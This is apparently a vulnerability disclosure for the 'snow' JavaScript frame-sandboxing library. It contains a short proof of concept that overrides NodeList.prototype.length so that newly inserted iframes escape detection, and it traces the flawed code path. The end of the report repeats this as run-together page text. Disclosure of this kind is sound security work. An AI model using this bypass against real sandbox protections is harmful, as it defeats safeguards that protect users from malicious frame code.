PoC:
Object.defineProperty(NodeList.prototype, 'length', {value:0});
document.body.innerHTML = '<iframe name=iframe>';
iframe.alert(1337);
Vulnerable path:
getFramesArray called in
|
const frames = getFramesArray(element, false); |
slice() called on the results from querySelectorAll in
|
const list = querySelectorAll.call(element, 'iframe,frame,object,embed'); |
|
|
|
fillArrayUniques(frames, slice(list)); |
produces an empty array because of the length 0.
PoC:
Vulnerable path:
getFramesArraycalled insnow/src/inserters.js
Line 29 in 1c8faa8
slice()called on the results fromquerySelectorAllinsnow/src/utils.js
Lines 111 to 113 in 1c8faa8